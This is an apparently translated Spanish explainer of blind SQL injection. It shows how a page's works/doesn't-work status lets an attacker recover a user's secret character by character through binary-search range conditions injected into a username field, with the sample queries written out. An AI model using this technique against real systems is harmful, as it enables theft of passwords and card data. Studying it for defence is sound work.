Inyección de Blind SQL es uno de estos ejemplos. Suponga que tiene la posibilidad de una inyección de SQL pero está limitado en lo que puede inyectar. Algo en las líneas de:
SELECT id FROM users WHERE username = <foo>;
Puede inyectar en foo
pero no puede obtener otra salida que la página que devuelve 404 (si no hay tal usuario) o alguna otra cosa (si hay un resultado) . No puede obtener ningún resultado de esta consulta que no sea el estado de la página ("funciona / no funciona").
En esta situación, podría intentar adivinar algunos datos sobre el usuario (como su contraseña con hash o su número de tarjeta de crédito) de esta manera:
SELECT id FROM users WHERE username = "kos" AND secret = "mellon";
SELECT id FROM users WHERE username = "kos" AND secret = "rosebud";
Una vez que obtienes una página que se carga, sabes que has adivinado la contraseña correctamente.
Ahora, para la parte divertida: para adivinar en un tiempo razonable, puede cambiar a la búsqueda lexicográfica binaria:
SELECT id FROM users WHERE username = "kos" AND secret >= "a" AND secret <= "z" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "a" AND secret <= "n" -- 0
SELECT id FROM users WHERE username = "kos" AND secret >= "o" AND secret <= "u" -- 0
SELECT id FROM users WHERE username = "kos" AND secret >= "v" AND secret <= "x" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "w" AND secret <= "x" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "x" AND secret <= "x" -- 1
Tienes la primera letra! Continuar:
SELECT id FROM users WHERE username = "kos" AND secret >= "xa" AND secret <= "xz" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "xa" AND secret <= "xn" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "xa" AND secret <= "xg" -- 0
SELECT id FROM users WHERE username = "kos" AND secret >= "xh" AND secret <= "xk" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "xj" AND secret <= "xk" -- 1
SELECT id FROM users WHERE username = "kos" AND secret >= "xk" AND secret <= "xk" -- 1
... y así sucesivamente, hasta que conozca todas las letras.